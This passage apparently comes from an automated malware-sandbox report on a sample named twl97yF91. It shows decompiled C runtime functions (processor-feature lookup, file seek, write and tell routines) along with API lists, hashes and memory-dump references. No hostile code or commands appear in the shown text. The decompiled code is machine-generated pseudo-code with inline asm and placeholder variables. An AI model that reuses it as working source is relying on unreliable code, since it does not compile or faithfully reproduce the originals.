Opcode Fuzzy Hash: fdf4f6b62053dea64867d0c1085960dee66dbdb5e7cbac4bce55836661d1e8cf
Instruction Fuzzy Hash: 6011E3313086215BE7368F3DBC50BA52396EFC5328F68422EF615CA7A4E770D8824A58

Uniqueness

Uniqueness Score: -1.00%

Function 00413610 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 65%

			E00413610() {
				signed long long _v12;
				signed int _v20;
				signed long long _v28;
				signed char _t8;

				_t8 = GetModuleHandleA("KERNEL32");
				if(_t8 == 0) {
					L6:
					_v20 =  *0x41fb50;
					_v28 =  *0x41fb48;
					asm("fsubr qword [ebp-0x18]");
					_v12 = _v28 / _v20 * _v20;
					asm("fld1");
					asm("fcomp qword [ebp-0x8]");
					asm("fnstsw ax");
					if((_t8 & 0x00000005) != 0) {
						return 0;
					} else {
						return 1;
					}
				} else {
					__eax = GetProcAddress(__eax, "IsProcessorFeaturePresent");
					if(__eax == 0) {
						goto L6;
					} else {
						_push(0);
						return __eax;
					}
				}
			}

0x00413615
0x0041361d
0x00413634
0x004135e0
0x004135e9
0x004135f5
0x004135f8
0x004135fb
0x004135fd
0x00413600
0x00413605
0x0041360f
0x00413607
0x0041360b
0x0041360b
0x0041361f
0x00413625
0x0041362d
0x00000000
0x0041362f
0x0041362f
0x00413633
0x00413633
0x0041362d

APIs

GetModuleHandleA.KERNEL32(KERNEL32,0040CDF5), ref: 00413615
GetProcAddress.KERNEL32(00000000,IsProcessorFeaturePresent), ref: 00413625

Strings

IsProcessorFeaturePresent, xrefs: 0041361F
KERNEL32, xrefs: 00413610

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: AddressHandleModuleProc
String ID: IsProcessorFeaturePresent$KERNEL32
API String ID: 1646373207-3105848591
Opcode ID: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction ID: 3bb3582238f4ecb0ba7b9e8fe578e45fdcf0af3c55e5dfe2a5e3893bc0ad87fb
Opcode Fuzzy Hash: 118b5162a474c003ae69c9300a13838c9d8123de4a3b48a289e819fb4020d245
Instruction Fuzzy Hash: 96F06230600A09E2DB105FA1ED1E2EFBB74BB80746F5101A19196B0194DF38D0B6825A

Uniqueness

Uniqueness Score: -1.00%

Function 02CB1B57 Relevance: 6.3, APIs: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 02CB1B6D
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000001), ref: 02CB1B96
GetLastError.KERNEL32 ref: 02CB1BA7
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 02CB1BBF
MultiByteToWideChar.KERNEL32(?,00000000,?,00000001,00000000,00000000), ref: 02CB1BE7

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: ByteCharMultiWide$ErrorLastlstrlen
String ID:
API String ID: 3322701435-0
Opcode ID: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction ID: 6c128a61f589ec48abd4b1c1dbd1aa20a0c4ec541379e94615eecc77a23357a0
Opcode Fuzzy Hash: dc08e0b6a0031b3e1018e6655837127b4a51d66f486618f8dc54bc0ca8c4194d
Instruction Fuzzy Hash: 651104715003547BD3309715CC98FA77F2CEFC6BA8F048114FD489B281D761A904C6B4

Uniqueness

Uniqueness Score: -1.00%

Function 02CBC9AF Relevance: 6.1, APIs: 4, Instructions: 148COMMONLIBRARYCODE

Download Yara Rule

APIs

__fileno.LIBCMT ref: 02CBC9E3
__locking.LIBCMT ref: 02CBC9F8

Part of subcall function 02CBC228: __getptd_noexit.LIBCMT ref: 02CBC228

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __fileno__getptd_noexit__locking
String ID:
API String ID: 630670418-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: cb6b54c8b3d0be585b54e9950f1541efa7fafcba0538b996c270bbf4d0f7f363
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: 4951C671E00209AFDB12CF69C980BDDBBB1FF45358F14816AD915AB281D730EB81DB81

Uniqueness

Uniqueness Score: -1.00%

Function 0040C748 Relevance: 6.1, APIs: 4, Instructions: 148
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 86%

			E0040C748(void* __edx, void* __esi, char _a4) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __ebp;
				signed int _t70;
				signed int _t71;
				intOrPtr _t73;
				signed int _t75;
				signed int _t81;
				char _t82;
				signed int _t84;
				intOrPtr* _t86;
				signed int _t87;
				intOrPtr* _t90;
				signed int _t92;
				signed int _t94;
				void* _t96;
				signed char _t98;
				signed int _t99;
				intOrPtr _t102;
				signed int _t103;
				intOrPtr* _t104;
				signed int _t111;
				signed int _t114;
				intOrPtr _t115;

				_t105 = __esi;
				_t97 = __edx;
				_t104 = _a4;
				_t87 = 0;
				_t121 = _t104;
				if(_t104 != 0) {
					_t70 = E0040FA20(__edx, _t104, _t104);
					__eflags =  *(_t104 + 4);
					_v8 = _t70;
					if(__eflags < 0) {
						 *(_t104 + 4) = 0;
					}
					_push(1);
					_push(_t87);
					_push(_t70);
					_t71 = E00411939(_t87, _t97, _t104, _t105, __eflags);
					__eflags = _t71 - _t87;
					_v12 = _t71;
					if(_t71 < _t87) {
						L2:
						return _t71 | 0xffffffff;
					} else {
						_t98 =  *(_t104 + 0xc);
						__eflags = _t98 & 0x00000108;
						if((_t98 & 0x00000108) != 0) {
							_t73 =  *_t104;
							_t92 =  *(_t104 + 8);
							_push(_t105);
							_v16 = _t73 - _t92;
							__eflags = _t98 & 0x00000003;
							if((_t98 & 0x00000003) == 0) {
								__eflags = _t98;
								if(__eflags < 0) {
									L15:
									__eflags = _v12 - _t87;
									if(_v12 != _t87) {
										__eflags =  *(_t104 + 0xc) & 0x00000001;
										if(( *(_t104 + 0xc) & 0x00000001) == 0) {
											L40:
											_t75 = _v16 + _v12;
											__eflags = _t75;
											L41:
											return _t75;
										}
										_t99 =  *(_t104 + 4);
										__eflags = _t99 - _t87;
										if(_t99 != _t87) {
											_t90 = 0x423f60 + (_v8 >> 5) * 4;
											_a4 = _t73 - _t92 + _t99;
											_t111 = (_v8 & 0x0000001f) << 6;
											__eflags =  *( *_t90 + _t111 + 4) & 0x00000080;
											if(__eflags == 0) {
												L39:
												_t66 =  &_v12;
												 *_t66 = _v12 - _a4;
												__eflags =  *_t66;
												goto L40;
											}
											_push(2);
											_push(0);
											_push(_v8);
											__eflags = E00411939(_t90, _t99, _t104, _t111, __eflags) - _v12;
											if(__eflags != 0) {
												_push(0);
												_push(_v12);
												_push(_v8);
												_t81 = E00411939(_t90, _t99, _t104, _t111, __eflags);
												__eflags = _t81;
												if(_t81 >= 0) {
													_t82 = 0x200;
													__eflags = _a4 - 0x200;
													if(_a4 > 0x200) {
														L35:
														_t82 =  *((intOrPtr*)(_t104 + 0x18));
														L36:
														_a4 = _t82;
														__eflags =  *( *_t90 + _t111 + 4) & 0x00000004;
														L37:
														if(__eflags != 0) {
															_t63 =  &_a4;
															 *_t63 = _a4 + 1;
															__eflags =  *_t63;
														}
														goto L39;
													}
													_t94 =  *(_t104 + 0xc);
													__eflags = _t94 & 0x00000008;
													if((_t94 & 0x00000008) == 0) {
														goto L35;
													}
													__eflags = _t94 & 0x00000400;
													if((_t94 & 0x00000400) == 0) {
														goto L36;
													}
													goto L35;
												}
												L31:
												_t75 = _t81 | 0xffffffff;
												goto L41;
											}
											_t84 =  *(_t104 + 8);
											_t96 = _a4 + _t84;
											while(1) {
												__eflags = _t84 - _t96;
												if(_t84 >= _t96) {
													break;
												}
												__eflags =  *_t84 - 0xa;
												if( *_t84 == 0xa) {
													_t44 =  &_a4;
													 *_t44 = _a4 + 1;
													__eflags =  *_t44;
												}
												_t84 = _t84 + 1;
												__eflags = _t84;
											}
											__eflags =  *(_t104 + 0xc) & 0x00002000;
											goto L37;
										}
										_v16 = _t87;
										goto L40;
									}
									_t75 = _v16;
									goto L41;
								}
								_t81 = E0040BFC1(__eflags);
								 *_t81 = 0x16;
								goto L31;
							}
							_t102 =  *((intOrPtr*)(0x423f60 + (_v8 >> 5) * 4));
							_t114 = (_v8 & 0x0000001f) << 6;
							__eflags =  *(_t102 + _t114 + 4) & 0x00000080;
							if(( *(_t102 + _t114 + 4) & 0x00000080) == 0) {
								goto L15;
							}
							_t103 = _t92;
							__eflags = _t103 - _t73;
							if(_t103 >= _t73) {
								goto L15;
							}
							_t115 = _t73;
							do {
								__eflags =  *_t103 - 0xa;
								if( *_t103 == 0xa) {
									_v16 = _v16 + 1;
									_t87 = 0;
									__eflags = 0;
								}
								_t103 = _t103 + 1;
								__eflags = _t103 - _t115;
							} while (_t103 < _t115);
							goto L15;
						}
						return _t71 -  *(_t104 + 4);
					}
				}
				_t86 = E0040BFC1(_t121);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				_push(0);
				 *_t86 = 0x16;
				_t71 = E0040E744(__edx, _t104, __esi);
				goto L2;
			}

0x0040c748
0x0040c748
0x0040c752
0x0040c755
0x0040c757
0x0040c759
0x0040c77c
0x0040c781
0x0040c785
0x0040c788
0x0040c78a
0x0040c78a
0x0040c78d
0x0040c78f
0x0040c790
0x0040c791
0x0040c799
0x0040c79b
0x0040c79e
0x0040c773
0x00000000
0x0040c7a0
0x0040c7a0
0x0040c7a3
0x0040c7a9
0x0040c7b3
0x0040c7b5
0x0040c7b8
0x0040c7bd
0x0040c7c0
0x0040c7c3
0x0040c806
0x0040c808
0x0040c7f9
0x0040c7f9
0x0040c7fc
0x0040c81a
0x0040c81e
0x0040c8d8
0x0040c8de
0x0040c8de
0x0040c8e0
0x00000000
0x0040c8e0
0x0040c824
0x0040c827
0x0040c829
0x0040c843
0x0040c84a
0x0040c84f
0x0040c852
0x0040c857
0x0040c8d2
0x0040c8d5
0x0040c8d5
0x0040c8d5
0x00000000
0x0040c8d5
0x0040c859
0x0040c85b
0x0040c85d
0x0040c868
0x0040c86b
0x0040c88d
0x0040c88f
0x0040c892
0x0040c895
0x0040c89d
0x0040c89f
0x0040c8a6
0x0040c8ab
0x0040c8ae
0x0040c8c0
0x0040c8c0
0x0040c8c3
0x0040c8c3
0x0040c8c8
0x0040c8cd
0x0040c8cd
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x0040c8cf
0x00000000
0x0040c8cd
0x0040c8b0
0x0040c8b3
0x0040c8b6
0x00000000
0x00000000
0x0040c8b8
0x0040c8be
0x00000000
0x00000000
0x00000000
0x0040c8be
0x0040c8a1
0x0040c8a1
0x00000000
0x0040c8a1
0x0040c86d
0x0040c873
0x0040c880
0x0040c880
0x0040c882
0x00000000
0x00000000
0x0040c877
0x0040c87a
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87c
0x0040c87f
0x0040c87f
0x0040c87f
0x0040c884
0x00000000
0x0040c884
0x0040c82b
0x00000000
0x0040c82b
0x0040c7fe
0x00000000
0x0040c7fe
0x0040c80a
0x0040c80f
0x00000000
0x0040c80f
0x0040c7ce
0x0040c7d8
0x0040c7db
0x0040c7e0
0x00000000
0x00000000
0x0040c7e2
0x0040c7e4
0x0040c7e6
0x00000000
0x00000000
0x0040c7e8
0x0040c7ea
0x0040c7ea
0x0040c7ed
0x0040c7ef
0x0040c7f2
0x0040c7f2
0x0040c7f2
0x0040c7f4
0x0040c7f5
0x0040c7f5
0x00000000
0x0040c7ea
0x00000000
0x0040c7ab
0x0040c79e
0x0040c75b
0x0040c760
0x0040c761
0x0040c762
0x0040c763
0x0040c764
0x0040c765
0x0040c76b
0x00000000

APIs

__fileno.LIBCMT ref: 0040C77C
__locking.LIBCMT ref: 0040C791

Part of subcall function 0040BFC1: __getptd_noexit.LIBCMT ref: 0040BFC1

Part of subcall function 0040E744: __decode_pointer.LIBCMT ref: 0040E74F

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __decode_pointer__fileno__getptd_noexit__locking
String ID:
API String ID: 2395185920-0
Opcode ID: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction ID: 30055f4621fb528cea72007990449f1feb1a7f288d573051c200dc5e1a244c20
Opcode Fuzzy Hash: a22d1fa1ad15e425548c743ff76317c9d1fdeb5a65110bd21edd49740b19d0ba
Instruction Fuzzy Hash: CC51CF72E00209EBDB10AF69C9C0B59BBA1AF01355F14C27AD915B73D1D378AE41DB8D

Uniqueness

Uniqueness Score: -1.00%

Function 02CB5F67 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

_malloc.LIBCMT ref: 02CB5FBB
_memset.LIBCMT ref: 02CB5FD6
_fseek.LIBCMT ref: 02CB6044

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction ID: 2e24b71a3686789743fa28f5375901659d2b540135881608da43852a023a1963
Opcode Fuzzy Hash: 9872aa7f1147e6bc872b805e495ff45a5b2212b2fe58f3118e87b4f331b1c2a2
Instruction Fuzzy Hash: E441C772600B114AD732863EF904797B3EAEFC0358F240A2DE996827D0E771E545CB95

Uniqueness

Uniqueness Score: -1.00%

Function 02CBBD11 Relevance: 6.1, APIs: 4, Instructions: 137COMMON

Download Yara Rule

APIs

__flush.LIBCMT ref: 02CBBDD5
__fileno.LIBCMT ref: 02CBBDF5
__locking.LIBCMT ref: 02CBBDFC
__flsbuf.LIBCMT ref: 02CBBE27

Part of subcall function 02CBC228: __getptd_noexit.LIBCMT ref: 02CBC228

Memory Dump Source

Source File: 00000001.00000002.321441344.0000000002CB0000.00000040.00001000.00020000.00000000.sdmp, Offset: 02CB0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_2cb0000_twl97yF91.jbxd

Yara matches

Similarity

API ID: __fileno__flsbuf__flush__getptd_noexit__locking
String ID:
API String ID: 1291973410-0
Opcode ID: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction ID: 466754a198f17fa106bca301e87fc8bc85fda25ca3c3beb12df5f5021220c674
Opcode Fuzzy Hash: ce0de872f2bf1c80b5409081606229fa9c8f65028ffa0700073288fbc1af180c
Instruction Fuzzy Hash: 5041B031A00688AFDB269F6988805EEF7B6EFC0728F248629EC5597154E774DE40CB40

Uniqueness

Uniqueness Score: -1.00%

Function 00405D00 Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 97%

			E00405D00(void* __ebx, void* __edx, void* __ebp, signed int* _a4, signed int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				signed int _t30;
				signed int _t31;
				signed int _t32;
				signed int _t33;
				signed int _t35;
				signed int _t39;
				void* _t42;
				intOrPtr _t43;
				void* _t45;
				signed int _t48;
				signed int* _t53;
				void* _t54;
				void* _t55;
				void* _t57;

				_t54 = __ebp;
				_t45 = __edx;
				_t42 = __ebx;
				_t53 = _a4;
				if(_t53 == 0) {
					L40:
					_t31 = _t30 | 0xffffffff;
					__eflags = _t31;
					return _t31;
				} else {
					_t43 = _a12;
					if(_t43 == 2) {
						goto L40;
					} else {
						_t30 = _t53[0xe];
						if(_t30 == 0xffffffff || _t30 == 0xfffffffd) {
							goto L40;
						} else {
							_t48 = _a8;
							if(_t53[0x17] != 0x77) {
								__eflags = _t43 - 1;
								if(_t43 == 1) {
									_t48 = _t48 + _t53[0x1a];
									__eflags = _t48;
								}
								__eflags = _t48;
								if(_t48 < 0) {
									goto L39;
								} else {
									__eflags = _t53[0x16];
									if(__eflags == 0) {
										_t33 = _t53[0x1a];
										__eflags = _t48 - _t33;
										if(_t48 < _t33) {
											_t30 = E004054F0(_t42, _t54, _t53);
											_t55 = _t55 + 4;
											__eflags = _t30;
											if(_t30 < 0) {
												goto L39;
											} else {
												goto L27;
											}
										} else {
											_t48 = _t48 - _t33;
											L27:
											__eflags = _t48;
											if(_t48 == 0) {
												L38:
												return _t53[0x1a];
											} else {
												__eflags = _t53[0x12];
												if(_t53[0x12] != 0) {
													L30:
													__eflags = _t53[0x1b] - 0xffffffff;
													if(_t53[0x1b] != 0xffffffff) {
														_t53[0x1a] = _t53[0x1a] + 1;
														_t48 = _t48 - 1;
														__eflags = _t53[0x1c];
														_t53[0x1b] = 0xffffffff;
														if(_t53[0x1c] != 0) {
															_t53[0xe] = 1;
														}
													}
													__eflags = _t48;
													if(_t48 <= 0) {
														goto L38;
													} else {
														while(1) {
															_t35 = 0x4000;
															__eflags = _t48 - 0x4000;
															if(_t48 < 0x4000) {
																_t35 = _t48;
															}
															_t30 = E00405A20(_t45, _t53, _t53[0x12], _t35);
															_t55 = _t55 + 0xc;
															__eflags = _t30;
															if(_t30 <= 0) {
																goto L39;
															}
															_t48 = _t48 - _t30;
															__eflags = _t48;
															if(_t48 > 0) {
																continue;
															} else {
																goto L38;
															}
															goto L41;
														}
														goto L39;
													}
												} else {
													_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
													_t55 = _t55 + 4;
													_t53[0x12] = _t30;
													__eflags = _t30;
													if(_t30 == 0) {
														goto L39;
													} else {
														goto L30;
													}
												}
											}
										}
									} else {
										_push(0);
										_push(_t48);
										_push(_t53[0x10]);
										_t53[0x1b] = 0xffffffff;
										_t53[1] = 0;
										 *_t53 = _t53[0x11];
										_t30 = E0040C46B(_t42, _t53[0x10], _t48, _t53, __eflags);
										__eflags = _t30;
										if(_t30 < 0) {
											goto L39;
										} else {
											_t53[0x1a] = _t48;
											_t53[0x19] = _t48;
											return _t48;
										}
									}
								}
							} else {
								if(_t43 == 0) {
									_t48 = _t48 - _t53[0x19];
								}
								if(_t48 < 0) {
									L39:
									_t32 = _t30 | 0xffffffff;
									__eflags = _t32;
									return _t32;
								} else {
									if(_t53[0x11] != 0) {
										L11:
										if(_t48 <= 0) {
											L17:
											return _t53[0x19];
										} else {
											while(1) {
												_t39 = 0x4000;
												if(_t48 < 0x4000) {
													_t39 = _t48;
												}
												_t30 = E00405260(_t42, _t45, _t53, _t53[0x11], _t39);
												_t55 = _t55 + 0xc;
												if(_t30 == 0) {
													goto L39;
												}
												_t48 = _t48 - _t30;
												if(_t48 > 0) {
													continue;
												} else {
													goto L17;
												}
												goto L41;
											}
											goto L39;
										}
									} else {
										_t30 = E0040B84D(_t42, _t45, _t48, 0x4000);
										_t57 = _t55 + 4;
										_t53[0x11] = _t30;
										if(_t30 == 0) {
											goto L39;
										} else {
											E0040BA30(_t48, _t30, 0, 0x4000);
											_t55 = _t57 + 0xc;
											goto L11;
										}
									}
								}
							}
						}
					}
				}
				L41:
			}

0x00405d00
0x00405d00
0x00405d00
0x00405d01
0x00405d07
0x00405e7f
0x00405e7f
0x00405e7f
0x00405e83
0x00405d0d
0x00405d0d
0x00405d14
0x00000000
0x00405d1a
0x00405d1a
0x00405d20
0x00000000
0x00405d2f
0x00405d34
0x00405d38
0x00405dad
0x00405db0
0x00405db2
0x00405db2
0x00405db2
0x00405db5
0x00405db7
0x00000000
0x00405dbd
0x00405dbd
0x00405dc1
0x00405df8
0x00405dfb
0x00405dfd
0x00405e04
0x00405e09
0x00405e0c
0x00405e0e
0x00000000
0x00000000
0x00000000
0x00000000
0x00405dff
0x00405dff
0x00405e10
0x00405e10
0x00405e12
0x00405e73
0x00405e78
0x00405e14
0x00405e14
0x00405e18
0x00405e2e
0x00405e2e
0x00405e32
0x00405e34
0x00405e37
0x00405e38
0x00405e3c
0x00405e43
0x00405e45
0x00405e45
0x00405e43
0x00405e4c
0x00405e4e
0x00000000
0x00405e50
0x00405e50
0x00405e50
0x00405e55
0x00405e57
0x00405e59
0x00405e59
0x00405e61
0x00405e66
0x00405e69
0x00405e6b
0x00000000
0x00000000
0x00405e6d
0x00405e6f
0x00405e71
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e71
0x00000000
0x00405e50
0x00405e1a
0x00405e1f
0x00405e24
0x00405e27
0x00405e2a
0x00405e2c
0x00000000
0x00000000
0x00000000
0x00000000
0x00405e2c
0x00405e18
0x00405e12
0x00405dc3
0x00405dc9
0x00405dcb
0x00405dcc
0x00405dcd
0x00405dd4
0x00405ddb
0x00405ddd
0x00405de5
0x00405de7
0x00000000
0x00405ded
0x00405ded
0x00405df0
0x00405df7
0x00405df7
0x00405de7
0x00405dc1
0x00405d3a
0x00405d3c
0x00405d3e
0x00405d3e
0x00405d43
0x00405e79
0x00405e7a
0x00405e7a
0x00405e7e
0x00405d49
0x00405d4d
0x00405d77
0x00405d79
0x00405da7
0x00405dac
0x00405d7b
0x00405d80
0x00405d80
0x00405d87
0x00405d89
0x00405d89
0x00405d91
0x00405d96
0x00405d9b
0x00000000
0x00000000
0x00405da1
0x00405da5
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00405da5
0x00000000
0x00405d80
0x00405d4f
0x00405d54
0x00405d59
0x00405d5c
0x00405d61
0x00000000
0x00405d67
0x00405d6f
0x00405d74
0x00000000
0x00405d74
0x00405d61
0x00405d4d
0x00405d43
0x00405d38
0x00405d20
0x00405d14
0x00000000

APIs

_malloc.LIBCMT ref: 00405D54
_memset.LIBCMT ref: 00405D6F
_fseek.LIBCMT ref: 00405DDD

Memory Dump Source

Source File: 00000001.00000002.320815814.0000000000400000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.320815814.0000000000426000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.320815814.000000000044D000.00000040.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_twl97yF91.jbxd

Yara matches

Similarity

API ID: _fseek_malloc_memset
String ID:
API String ID: 208892515-0
Opcode ID: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction ID: b5a371ba5f9a3ad1fa090fb1a89082137fe8d6c03bc5c52cd66242ccf2a60741
Opcode Fuzzy Hash: 9fe2477137ff98b8fe919820eb2b1ff53dfeab7efe35faa63f44dd20cd1a70ab
Instruction Fuzzy Hash: 3541A572600F018AD630972EE804B2772E5DF90364F140A3FE9E6E27D5E738E9458F89

Uniqueness

Uniqueness Score: -1.00%

Function 0040BAAA Relevance: 6.1, APIs: 4, Instructions: 137
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E0040BAAA(signed int __edx, signed int _a4, signed int _a8, signed int _a12, intOrPtr* _a16) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t59;
				intOrPtr* _t61;
				signed int _t63;
				void* _t68;
				signed int _t69;
				signed int _t72;
				signed int _t74;
				signed int _t75;
				signed int _t77;
				signed int _t78;
				signed int _t81;
				signed int _t82;
				signed int _t84;
				signed int _t88;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				intOrPtr* _t100;
				void* _t101;

				_t90 = __edx;
				if(_a8 == 0 || _a12 == 0) {
					L4:
					return 0;
				} else {
					_t100 = _a16;
					_t105 = _t100;
					if(_t100 != 0) {
						_t82 = _a4;
						__eflags = _t82;
						if(__eflags == 0) {
							goto L3;
						}
						_t63 = _t59 | 0xffffffff;
						_t90 = _t63 % _a8;
						__eflags = _a12 - _t63 / _a8;
						if(__eflags > 0) {
							goto L3;
						}
						_t97 = _a8 * _a12;
						__eflags =  *(_t100 + 0xc) & 0x0000010c;
						_v8 = _t82;
						_v16 = _t97;
						_t81 = _t97;
						if(( *(_t100 + 0xc) & 0x0000010c) == 0) {
							_v12 = 0x1000;
						} else {
							_v12 =  *(_t100 + 0x18);
						}
						__eflags = _t97;
						if(_t97 == 0) {
							L32:
							return _a12;
						} else {
							do {
								_t84 =  *(_t100 + 0xc) & 0x00000108;
								__eflags = _t84;
								if(_t84 == 0) {
									L18:
									__eflags = _t81 - _v12;
									if(_t81 < _v12) {
										_t68 = E0040F0AD(_t90, _t97,  *_v8, _t100);
										__eflags = _t68 - 0xffffffff;
										if(_t68 == 0xffffffff) {
											L34:
											_t69 = _t97;
											L35:
											return (_t69 - _t81) / _a8;
										}
										_v8 = _v8 + 1;
										_t72 =  *(_t100 + 0x18);
										_t81 = _t81 - 1;
										_v12 = _t72;
										__eflags = _t72;
										if(_t72 <= 0) {
											_v12 = 1;
										}
										goto L31;
									}
									__eflags = _t84;
									if(_t84 == 0) {
										L21:
										__eflags = _v12;
										_t98 = _t81;
										if(_v12 != 0) {
											_t75 = _t81;
											_t90 = _t75 % _v12;
											_t98 = _t98 - _t75 % _v12;
											__eflags = _t98;
										}
										_push(_t98);
										_push(_v8);
										_push(E0040FA20(_t90, _t98, _t100));
										_t74 = E0040F944(_t81, _t90, _t98, _t100, __eflags);
										_t101 = _t101 + 0xc;
										__eflags = _t74 - 0xffffffff;
										if(_t74 == 0xffffffff) {
											L36:
											 *(_t100 + 0xc) =  *(_t100 + 0xc) | 0x00000020;
											_t69 = _v16;
											goto L35;
										} else {
											_t88 = _t98;
											__eflags = _t74 - _t98;
											if(_t74 <= _t98) {
												_t88 = _t74;
											}
											_v8 = _v8 + _t88;
											_t81 = _t81 - _t88;
											__eflags = _t74 - _t98;
											if(_t74 < _t98) {
												goto L36;
											} else {
												L27:
												_t97 = _v16;
												goto L31;
											}
										}
									}
									_t77 = E0040C1FB(_t100);
									__eflags = _t77;
									if(_t77 != 0) {
										goto L34;
									}
									goto L21;
								}
								_t78 =  *(_t100 + 4);
								__eflags = _t78;
								if(__eflags == 0) {
									goto L18;
								}
								if(__eflags < 0) {
									_t48 = _t100 + 0xc;
									 *_t48 =  *(_t100 + 0xc) | 0x00000020;
									__eflags =  *_t48;
									goto L34;
								}
								_t99 = _t81;
								__eflags = _t81 - _t78;
								if(_t81 >= _t78) {
									_t99 = _t78;
								}
								E0040B350(_t81, _t99, _t100,  *_t100, _v8, _t99);
								 *(_t100 + 4) =  *(_t100 + 4) - _t99;
								 *_t100 =  *_t100 + _t99;
								_t101 = _t101 + 0xc;
								_t81 = _t81 - _t99;
								_v8 = _v8 + _t99;
								goto L27;
								L31:
								__eflags = _t81;
							} while (_t81 != 0);
							goto L32;
						}
					}
					L3:
					_t61 = E0040BFC1(_t105);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					 *_t61 = 0x16;
					E0040E744(_t90, 0, _t100);
					goto L4;
				}
			}

0x0040baaa
0x0040baba
0x0040bae0
0x00000000
0x0040bac1
0x0040bac1
0x0040bac4
0x0040bac6
0x0040bae7
0x0040baea
0x0040baec
0x00000000
0x00000000
0x0040baee
0x0040baf3
0x0040baf6
0x0040baf9
0x00000000
0x00000000
0x0040bafe
0x0040bb02
0x0040bb09
0x0040bb0c
0x0040bb0f
0x0040bb11
0x0040bb1b
0x0040bb13
0x0040bb16
0x0040bb16
0x0040bb22
0x0040bb24
0x0040bbe9
0x00000000
0x0040bb2a
0x0040bb2a
0x0040bb2d
0x0040bb2d
0x0040bb33
0x0040bb64
0x0040bb64
0x0040bb67
0x0040bbc0
0x0040bbc7
0x0040bbca
0x0040bbf5
0x0040bbf5
0x0040bbf7
0x00000000
0x0040bbfb
0x0040bbcc
0x0040bbcf
0x0040bbd2
0x0040bbd3
0x0040bbd6
0x0040bbd8
0x0040bbda
0x0040bbda
0x00000000
0x0040bbd8
0x0040bb69
0x0040bb6b
0x0040bb78
0x0040bb78
0x0040bb7c
0x0040bb7e
0x0040bb82
0x0040bb84
0x0040bb87
0x0040bb87
0x0040bb87
0x0040bb89
0x0040bb8a
0x0040bb94
0x0040bb95
0x0040bb9a
0x0040bb9d
0x0040bba0
0x0040bc03
0x0040bc03
0x0040bc07
0x00000000
0x0040bba2
0x0040bba2
0x0040bba4
0x0040bba6
0x0040bba8
0x0040bba8
0x0040bbaa
0x0040bbad
0x0040bbaf
0x0040bbb1
0x00000000
0x0040bbb3
0x0040bbb3
0x0040bbb3
0x00000000
0x0040bbb3
0x0040bbb1
